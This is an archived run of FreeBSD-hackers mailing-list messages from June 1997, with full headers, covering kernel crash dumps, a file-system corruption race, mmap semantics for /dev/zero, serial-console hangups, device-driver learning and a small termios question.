owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Raul Zighelboim stands accused of saying: > > > > Is there a way to get FreeBSD to send core dumps _in the event of a > > crash_ to a tftp server instead than to the swap file ? > > Not without lots of work, no. The workstations that support this manage > to do it by having a completely separate TCP stack in their firmware; once > the kernel has crashed there's no way that you could expect it to be able > to continue functioning. > > Sorry this isn't the answer you were looking for. > What about this idea - an option to savecore to send the image in the swap file somewhere via tftp. Then, when the kernel returns (and is presumably working), you get the same effect... - Dave Rivers - From owner-freebsd-hackers Tue Jun 24 08:22:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA19734 for hackers-outgoing; Tue, 24 Jun 1997 08:22:20 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA19711 for ; Tue, 24 Jun 1997 08:22:15 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA05445; Tue, 24 Jun 1997 11:21:44 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Tue, 24 Jun 1997 11:21 EDT Received: from lakes.water.net (lakes [10.0.0.3]) by ponds.water.net (8.8.5/8.7.3) with ESMTP id HAA03559; Tue, 24 Jun 1997 07:56:55 -0400 (EDT) Received: (from rivers@localhost) by lakes.water.net (8.8.5/8.6.9) id IAA04547; Tue, 24 Jun 1997 08:05:20 -0400 (EDT) Date: Tue, 24 Jun 1997 08:05:20 -0400 (EDT) From: Thomas David Rivers Message-Id: <199706241205.IAA04547@lakes.water.net> To: ponds!lambert.org!terry, ponds!sdf.com!tom Subject: panics/file system corruption - was Re: OpenBSD Cc: ponds!FreeBSD.ORG!hackers, ponds!cdsnet.net!mrcpu Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I just tripped over this; thought I would try to take a stab at an answer.... > On Fri, 20 Jun 1997, Terry Lambert wrote: > > > > > Anybody running FreeBSD given it a shot just to see? I have been > > > > thinking about it to see if it fixes my UFS problems that are seemingly > > > > unrepairable. > > > > > > UFS problem? > > > > He's talking about his "free xxx isn't" race condition errors. > > What exactly is it about this condition that makes it occur on some > machines? I don't see it on a 16GB and a 8GB news spool here. No > corruption problmes either (although it was not clear to me, whether the > corruption is just a result of the panic, or just another effect of this > problem). > > > Terry Lambert > > terry@lambert.org > > --- > > Any opinions in this posting are my own and not those of my present > > or previous employers. > > > > > > Tom > I'm not sure what the problem is - but it seems to be timing related. I can readily reproduce the newfs-doesn't-write-zeros problem on two different 386 machines, one with IDE, one with SCSI. Jaye appears to have the problem on his news machine. I definitely have it on my news machine. I thought it might be related to the number of elements off of the vnode free list - but when doing a newfs (during a clean install); that number seems to be fixed at around 1. I also thought it may simply be a problem with writing blocks around a multiple of the cluster size; but that doesn't seem to be the case, as I have followed the write()s in newfs all the way to the SCSI driver. Here's what I currently believe - Somewhere; a buffer is being lost. The loss of the buffer is timing dependent; because judicions printf()s in the kernel alter the timing (and the stack) and cause things to work correctly. [Of course, since the stack is being altered, it could also be a stack corruption problem...] That is how, I believe, only an unlucky few have had the pleasure of this problem... I have reproduced this on a dedicated machine now. If you (or anyone else) would like access to that machine to try and solve it - just let me know! If you let me know, we can set up a time where you can get to it from the net... - Dave Rivers - From owner-freebsd-hackers Tue Jun 24 09:02:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA21900 for hackers-outgoing; Tue, 24 Jun 1997 09:02:08 -0700 (PDT) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA21895 for ; Tue, 24 Jun 1997 09:02:05 -0700 (PDT) Received: from localhost by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA20947; Tue, 24 Jun 1997 09:01:58 -0700 Date: Tue, 24 Jun 1997 09:01:58 -0700 (PDT) From: "Brian N. Handy" To: Steve Howe Cc: freebsd-hackers Subject: Re: BSD io In-Reply-To: Message-Id: X-Files: The truth is out there Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >i'm available for $$$ too. >and i am a rocket scientist. (BSAE). Speaking for the rest of us rocket scientists...who's BSAE? :-) Brian From owner-freebsd-hackers Tue Jun 24 09:48:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA24606 for hackers-outgoing; Tue, 24 Jun 1997 09:48:18 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA24599 for ; Tue, 24 Jun 1997 09:48:12 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id JAA27527; Tue, 24 Jun 1997 09:47:58 -0700 (PDT) Date: Tue, 24 Jun 1997 09:47:56 -0700 (PDT) From: Jaye Mathisen To: Thomas David Rivers cc: ponds!lambert.org!terry@cdsnet.net, ponds!sdf.com!tom@cdsnet.net, hackers@freebsd.org Subject: Re: panics/file system corruption - was Re: OpenBSD In-Reply-To: <199706241205.IAA04547@lakes.water.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk John Dyson mentioned in some private email to me that he found some more vnode locking problems in the code, and was rewriting the sections in question for a 3.0-SMP release. I think it ended up being some conditions that weren't being tested, or somesuch. It least is a bit of relief to me that regardless of whether or not this fixes my specific problem, at least some more bugs were fixed. :) The code would need to be backported to 2.x. So I haven't been able to test his fixes, although I can include the 3.0 section of code if somebody knowledgeable about the internals wants to take a crack at it. On Tue, 24 Jun 1997, Thomas David Rivers wrote: > > I just tripped over this; thought I would try to take a stab > at an answer.... > > > On Fri, 20 Jun 1997, Terry Lambert wrote: > > > > > > > Anybody running FreeBSD given it a shot just to see? I have been > > > > > thinking about it to see if it fixes my UFS problems that are seemingly > > > > > unrepairable. > > > > > > > > UFS problem? > > > > > > He's talking about his "free xxx isn't" race condition errors. > > > > What exactly is it about this condition that makes it occur on some > > machines? I don't see it on a 16GB and a 8GB news spool here. No > > corruption problmes either (although it was not clear to me, whether the > > corruption is just a result of the panic, or just another effect of this > > problem). > > > > > I'm not sure what the problem is - but it seems to be timing related. > > I can readily reproduce the newfs-doesn't-write-zeros problem on two > different 386 machines, one with IDE, one with SCSI. Jaye appears to > have the problem on his news machine. I definitely have it on my > news machine. > > I thought it might be related to the number of elements off of the > vnode free list - but when doing a newfs (during a clean install); that > number seems to be fixed at around 1. > > I also thought it may simply be a problem with writing blocks around > a multiple of the cluster size; but that doesn't seem to be the case, > as I have followed the write()s in newfs all the way to the SCSI driver. > > Here's what I currently believe - Somewhere; a buffer is being lost. > The loss of the buffer is timing dependent; because judicions printf()s > in the kernel alter the timing (and the stack) and cause things to work > correctly. [Of course, since the stack is being altered, it could also > be a stack corruption problem...] > > That is how, I believe, only an unlucky few have had the pleasure > of this problem... > > I have reproduced this on a dedicated machine now. If you (or anyone > else) would like access to that machine to try and solve it - just > let me know! If you let me know, we can set up a time where you can > get to it from the net... > > - Dave Rivers - > From owner-freebsd-hackers Tue Jun 24 11:13:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA28400 for hackers-outgoing; Tue, 24 Jun 1997 11:13:21 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA28393 for ; Tue, 24 Jun 1997 11:13:17 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id LAA03662; Tue, 24 Jun 1997 11:01:33 -0700 From: Terry Lambert Message-Id: <199706241801.LAA03662@phaeton.artisoft.com> Subject: Re: problem with /dev/zero and mmap?? To: gurney_j@resnet.uoregon.edu Date: Tue, 24 Jun 1997 11:01:32 -0700 (MST) Cc: terry@lambert.org, freebsd-hackers@FreeBSD.ORG In-Reply-To: <19970623145542.29255@hydrogen.nike.efn.org> from "John-Mark Gurney" at Jun 23, 97 02:55:42 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > The write succeeds because pages you mapped are not associated with > > the fd after the mapping. > > no.. the write succeeds because the permission checking isn't done > early enough in the mapping process... didn't you look at the code > I sited?? I did. You want the pages to be read-only so you get a write fault? Or you want the mapping to fail? The flags PROT_WRITE and MAP_SHARED only require an EACCES response when the fd is not open for writing and they are used in combination. The question I have is whether MAP_SHARED is meaningful for anonymous pages mapped from /dev/zero. I don't think it is. The next question I have for you is "isn't it acceptable to you for the option to be ignored rather than uselessly enforced against?". > > 2) The mmap() would fail because of the conflict between > > O_RDONLY and PROT_WRITE. > > yes.. this second one is what I want... you specificly opened the > file for read only access.. and that is what you should get... the > permissions on /dev/zero permit you to open it read/write so why > don't you?? It's not a file, it's a device. The rules are permitted to vary, per device. Unless you want MAP_SHARED to result in you being able to change the "contents" of /dev/zero for everyone else, then it is being ignored. Your complaint seems to stem from your belief that it's being ignored in the wrong place. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Jun 24 12:08:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA00698 for hackers-outgoing; Tue, 24 Jun 1997 12:08:26 -0700 (PDT) Received: from phantasm.scl.ameslab.gov (phantasm.scl.ameslab.gov [147.155.142.74]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA00685 for ; Tue, 24 Jun 1997 12:08:21 -0700 (PDT) Received: (from ccsanady@localhost) by phantasm.scl.ameslab.gov (8.6.12/8.6.12) id TAA03667 for hackers@freebsd.org; Tue, 24 Jun 1997 19:08:11 GMT From: "Chris Csanady" Message-Id: <9706241408.ZM3665@phantasm.scl.ameslab.gov> Date: Tue, 24 Jun 1997 14:08:10 -0500 X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail) To: hackers@freebsd.org Subject: Serial console problems on 2.2.2 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I recompiled the boot blocks with BOOT_FORCE_COMCONSOLE, but things only sortof work. It seems fine, and then it just hangs up on me... romulus# cu -l /dev/cuaa1 -s 9600 Connected. Serial console forced. >> FreeBSD BOOT @ 0x10000: 640/64512 k of memory Usage: [[[0:][wd](0,a)]/kernel][-abcCdghrsv] Use 1:sd(0,a)kernel to boot sd0 if it is BIOS drive 1 Use ? for file list or press Enter for defaults Boot: kernel.yfg dosdev= 80, biosdrive = 0, unit = 0, maj = 0 Booting 0:wd(0,a)kernel.yfg @ 0x100000 . . . Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0cu: Got hangup signal Disconnected. romulus# This is right at the point that it should probe the serial port. Is there something else special to do? I noticed there are flags for sio in current to make it a console, but not in 2.2.2. How about ttys? Thanks, Chris From owner-freebsd-hackers Tue Jun 24 13:07:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA03477 for hackers-outgoing; Tue, 24 Jun 1997 13:07:04 -0700 (PDT) Received: from gatekeeper.itribe.net (gatekeeper.itribe.net [209.49.144.254]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA03461 for ; Tue, 24 Jun 1997 13:06:59 -0700 (PDT) Message-Id: <199706242006.QAA03306@gatekeeper.itribe.net> Received: forwarded by SMTP 1.6.0. Date: Tue, 24 Jun 1997 16:06:45 -0400 (EDT) From: Jamie Bowden To: "Brian N. Handy" cc: Steve Howe , freebsd-hackers Subject: Re: BSD io In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997, Brian N. Handy wrote: > > > >i'm available for $$$ too. > >and i am a rocket scientist. (BSAE). > > Speaking for the rest of us rocket scientists...who's BSAE? Bachelor of Science, Aeronautical Engineering, if I had to guess. Jamie Bowden System Administrator, iTRiBE.net From owner-freebsd-hackers Tue Jun 24 13:52:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA05853 for hackers-outgoing; Tue, 24 Jun 1997 13:52:11 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA05848 for ; Tue, 24 Jun 1997 13:52:04 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA24800 for hackers@FreeBSD.ORG; Tue, 24 Jun 1997 22:51:27 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA02814; Tue, 24 Jun 1997 22:22:52 +0200 (MET DST) Message-ID: <19970624222252.DH60724@uriah.heep.sax.de> Date: Tue, 24 Jun 1997 22:22:52 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Serial console problems on 2.2.2 References: <9706241408.ZM3665@phantasm.scl.ameslab.gov> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <9706241408.ZM3665@phantasm.scl.ameslab.gov>; from Chris Csanady on Jun 24, 1997 14:08:10 -0500 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Chris Csanady wrote: > I recompiled the boot blocks with BOOT_FORCE_COMCONSOLE, but things > only sortof work. (Btw., watch out. Bruce recently broke^H^H^H^H^Hkilled this option in -current.) > Probing for devices on the ISA bus: > sc0 at 0x60-0x6f irq 1 on motherboard > sc0: VGA color <16 virtual consoles, flags=0x0cu: Got hangup signal > > Disconnected. Sure. The device probing lowers DTR, thus hangs up the line. You need to make your local end independent of the DCD-faked-by-remote- DTR (e.g. by faking the DCD in a local loopback wiring, or making the port `clocal' if it's unix). If remote is a modem, you need to make the modem ignore DTR. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Jun 24 13:53:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA05902 for hackers-outgoing; Tue, 24 Jun 1997 13:53:35 -0700 (PDT) Received: from nemeton.com.au (gw.nemeton.com.au [203.8.3.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA05896 for ; Tue, 24 Jun 1997 13:53:31 -0700 (PDT) Received: (qmail 21397 invoked from network); 24 Jun 1997 20:53:02 -0000 Received: from topaz.nemeton.com.au (203.8.3.18) by nemeton.com.au with SMTP; 24 Jun 1997 20:53:02 -0000 Received: (qmail 28101 invoked from network); 24 Jun 1997 20:59:23 -0000 Received: from localhost.nemeton.com.au (127.0.0.1) by localhost.nemeton.com.au with SMTP; 24 Jun 1997 20:59:23 -0000 To: hoek@hwcn.org cc: freebsd-hackers Subject: Re: BSD io In-reply-to: Date: Wed, 25 Jun 1997 06:59:21 +1000 Message-ID: <28099.867185961@nemeton.com.au> From: Giles Lean Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 24 Jun 1997 09:02:07 -0400 (EDT) Tim Vanderhoek wrote: > > huh? i have no idea what you are talking about, i spent years fine > > tuning code and algorithms for certain things .... > > I would suggest that this results from a lack of common > semantical and abstractional (good grief! I think the guy is just trolling, or else aspires to take the mantle (or antennas!) from Jesus Monroy, Jr. I suggest further replies go to -chat. :-( Giles From owner-freebsd-hackers Tue Jun 24 14:00:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA06249 for hackers-outgoing; Tue, 24 Jun 1997 14:00:33 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA06228 for ; Tue, 24 Jun 1997 14:00:21 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id NAA29487 for ; Tue, 24 Jun 1997 13:53:37 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd029481; Tue Jun 24 20:53:26 1997 Message-ID: <33B0337C.2781E494@whistle.com> Date: Tue, 24 Jun 1997 13:52:12 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: UNWARNING.. 2.2 libc_r now builds again Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk This has been upgraded to -current functionality If you use threads under 2.2 you should recompile and test. if you use threads under 3.0 you may be able to compile your apps under 2.2. now. (in the relentless march towards uniform JAVA support etc under 2.2 amd 3.0) julian From owner-freebsd-hackers Tue Jun 24 16:53:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA14483 for hackers-outgoing; Tue, 24 Jun 1997 16:53:56 -0700 (PDT) Received: from argus.nuke.net (pm3-p18.tfs.net [206.154.183.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA14413 for ; Tue, 24 Jun 1997 16:53:21 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id SAA04082; Tue, 24 Jun 1997 18:52:06 -0500 (CDT) From: Jim Bryant Message-Id: <199706242352.SAA04082@argus.nuke.net> Subject: Re: BSD io In-Reply-To: from Steve Howe at "Jun 23, 97 10:41:44 pm" To: un_x@anchorage.net (Steve Howe) Date: Tue, 24 Jun 1997 18:52:05 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > > > i see a few generalizations about device drivers, > > > but no solid instructions / rules for FreeBSD. > > > in /usr/share/examples/drivers > > are two shell scripts that WRITE A DRIVER FOR YOU > > my directory is empty, what dist fills the drivers directory? mine too... > > > > learn about what's going on, attach a debugger to the kernel and > > > > look at both the source _and_ the data. > > > with 2 machines hooked together with a serial cable > > and the right s/w loaded, > > you can single step the 2md machine in the kernel > > and examine each line of C as it's run, and look at all variables, > > structures etc. > > THAT is educational, as it takes into account all the mappings for you. > > why isn't there a tutorial on the kmem/gdb methods > to help people out that want to learn more? > things should take matters of days, not weeks. > tutorials delayed, is learning denied. the source code is there... i suggest getting the 4.4BSD "design of" book, and manuals... Good starting points. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Tue Jun 24 17:25:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA15949 for hackers-outgoing; Tue, 24 Jun 1997 17:25:25 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA15944 for ; Tue, 24 Jun 1997 17:25:21 -0700 (PDT) Received: from gns.com.br (dl0235-bsb.GNS.com.br [200.239.56.235]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id RAA03722 for ; Tue, 24 Jun 1997 17:22:46 -0700 (PDT) Received: (from dcs@localhost) by gns.com.br (8.8.5/8.8.5) id RAA00571 for hackers@FreeBSD.ORG; Tue, 24 Jun 1997 17:29:44 -0300 (EST) From: "Daniel C. Sobral" Message-Id: <199706242029.RAA00571@gns.com.br> Subject: RC5 contest In-Reply-To: <199706240257.TAA16959@hub.freebsd.org> from "owner-hackers-digest@FreeBSD.ORG" at "Jun 23, 97 07:57:22 pm" To: hackers@FreeBSD.ORG Date: Tue, 24 Jun 1997 17:29:44 -0300 (EST) Disclaimer: Klaatu Barada Nikto! X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From: Ollivier Robert > Date: Mon, 23 Jun 1997 20:49:37 +0200 > Subject: Re: FreeBSD cracks DES ! > > According to Brian Tao: > > Neato! Now let's see if a FreeBSD machine will claim the prize > > for the 56-bit RC5 challenge too. :) > > RC5 is a much slower algorithm so the keyspace is much less exhausted than > the DES' one. Even if one found the key at 25% like for the DES, it will > take years... Not according to Bovine's projections. (http://bovine.st.hmc.edu) -- Daniel C. Sobral (8-DCS) dcs@gns.com.br Genius doesn't work on an assembly line basis. You can't simply say, "Today I will be brilliant." -- Kirk, "The Ultimate Computer", stardate 4731.3 From owner-freebsd-hackers Tue Jun 24 17:43:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA17288 for hackers-outgoing; Tue, 24 Jun 1997 17:43:03 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA17280 for ; Tue, 24 Jun 1997 17:43:01 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA03815; Tue, 24 Jun 1997 13:30:37 -0700 From: Terry Lambert Message-Id: <199706242030.NAA03815@phaeton.artisoft.com> Subject: Re: BSD io To: un_x@anchorage.net (Steve Howe) Date: Tue, 24 Jun 1997 13:30:36 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Steve Howe" at Jun 23, 97 10:41:44 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > you don't want to probe ports while the system is running > > i do, i'd like to set an "inert" flag or something > so the kernel isn't bothered by these things. > > i'd like to be able to take control of the hardware > without rebooting the system while some code does > hardware diags. This would be generally useful for "WDCONFIG" type utilities. I personally would prefer that such code be placed in the driver for flags modification event actions. This would allow me to use a general interface to configure any device, rather that a device specific interface to configure a particular device which has been marked "inert". There is also the reprobing problem after reconfiguration on the marking of the device from "inert" to "active" once again; the previous probe data can not be static. This leaves a smaller set of non-configuration based card diagnostics as the set of useful things you could do with an inert device. I would say "allow this". You will need to support interrupt delivery to the user space program, probably through a poll() system call event type for this to happen. There are people currently working on getting the NetBSD poll() code over to enable this type of "user event" programming. You should contact them on the -current list with a subject like "NetBSD poll done yet?" or something similar. Then explain that you want interrupt events delivered to user space as poll() call events. > > boot from a floppy and have your diagnostic there > > that's not an option. It's not very cleanly integrated either. It's a bad suggestion. > > BSD will not run on a 186 > > no? you're kidding. BSD's virtual memory requires paged memory management and memory protection based on protection domain. This was not available until the 386. Theoretically, you could write a BSD VM that did not rely on a PMMU facility. If you did this, you would be severlylimited in the size and number of programs you could run at the same time. Your best bet would be to implement all code as PIC code and break it into page boundries. This is the same way Windows ran in "enhanced mode" on these machines. This means that you would not be able to run most commercial x86 code. > > but a 386sx20 will run ports at 115000 without flow control. > > i'd say that's pushing it, if there's some truth, i'd > bet you'd get errors on a long steady stream. Actually, this is a reuslt of Bruce's "fast interrupt" code. You should look at it before you assume it can't work. In point of fact, I worked on a DOS communications program that could do the same on an 8MHz AT. It took the interrupt for the first character, disabled interrupts, and polled like hell until there was a break in the data. It's all a matter of how you program it. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Jun 24 17:43:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA17343 for hackers-outgoing; Tue, 24 Jun 1997 17:43:38 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA17336 for ; Tue, 24 Jun 1997 17:43:35 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA03846; Tue, 24 Jun 1997 13:36:18 -0700 From: Terry Lambert Message-Id: <199706242036.NAA03846@phaeton.artisoft.com> Subject: Re: BSD io To: handy@sag.space.lockheed.com (Brian N. Handy) Date: Tue, 24 Jun 1997 13:36:18 -0700 (MST) Cc: un_x@anchorage.net, hackers@FreeBSD.ORG In-Reply-To: from "Brian N. Handy" at Jun 24, 97 09:01:58 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >i'm available for $$$ too. > >and i am a rocket scientist. (BSAE). > > Speaking for the rest of us rocket scientists...who's BSAE? Batchelor of Science, Aeronautical Engineering. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Jun 24 19:04:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23004 for hackers-outgoing; Tue, 24 Jun 1997 19:04:04 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA22971 for ; Tue, 24 Jun 1997 19:03:57 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id TAA22585; Tue, 24 Jun 1997 19:03:02 -0700 (PDT) Date: Tue, 24 Jun 1997 19:02:58 -0700 (PDT) From: Jaye Mathisen To: Nadav Eiron cc: Adrian Chadd , freebsd-hackers@FreeBSD.ORG Subject: Re: socket redirector In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Or netcat out of ports. It would probably work fine as well. On Sat, 21 Jun 1997, Nadav Eiron wrote: > > > On Fri, 20 Jun 1997, Adrian Chadd wrote: > > > Hey guys. > > > > I'm writing a quick socket redirector for something. Its run out of inetd, > > and basically opens a socket somewhere and acts as a pipe between the two. > > I'm using select(), and its working fine. The only problem I'm having is > > that I don't know how to tell when the remote end closes the connection > > down, so that I can just close everything down, and quit. > > > > Any ideas on how I'd do this? > > Why not just use plug-gw from the fwtk? From your description it sounds > like just the thing you need. > > > > > Thanks, > > > > -- > > Adrian Chadd | "Unix doesn't stop you from doing > > | stupid things because that would > > | stop you from doing clever things" > > > > > > > Nadav > From owner-freebsd-hackers Tue Jun 24 19:08:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA23297 for hackers-outgoing; Tue, 24 Jun 1997 19:08:58 -0700 (PDT) Received: from uw2cs003.cuscal.com.au (proxy.cuscal.com.au [168.217.251.201]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA23288 for ; Tue, 24 Jun 1997 19:08:50 -0700 (PDT) Message-Id: <199706250208.TAA23288@hub.freebsd.org> Received: from nt2cs006.cuscal.com.au ([168.217.2.1]) by uw2cs003.cuscal.com.au (Netscape Mail Server v2.02) with ESMTP id AAA11489 for ; Wed, 25 Jun 1997 12:08:15 +1000 Received: by nt2cs006.cuscal.COM.AU with Internet Mail Service (5.0.1457.3) id ; Wed, 25 Jun 1997 12:07:25 +1000 From: MARK SAYER To: "'freebsd-hackers@freebsd.org'" Subject: RE: BSD io Date: Wed, 25 Jun 1997 12:07:47 +1000 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id TAA23292 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have been looking for this for ages. I resorted to using ncurses, but then I was stuck with using ncurses window management (yuk). So, I tried the code below and it doesn't seem to work as promised. I just want the program to trap 1 keypress and continue execution. #include #include struct termios old, new; main() { char c; tcgetattr (fileno(stdin), &old); new = old; new.c_iflag &=~(ICANON|ECHO); tcsetattr (fileno(stdin), TCSANOW, &new); c = getc(stdin); tcsetattr (fileno(stdin), TCSANOW, &old); } All it seems to do is stop trapping my CR key?? 168: {9} ./a.out a^M^M^M^Mò 168: {10} the ò is a CBREAK. I'm running FreeBSD 2.1.6. Any ideas? > ---------- > From: Tim Vanderhoek[SMTP:hoek@hwcn.org] > Sent: Tuesday, June 24, 1997 11:36 PM > To: 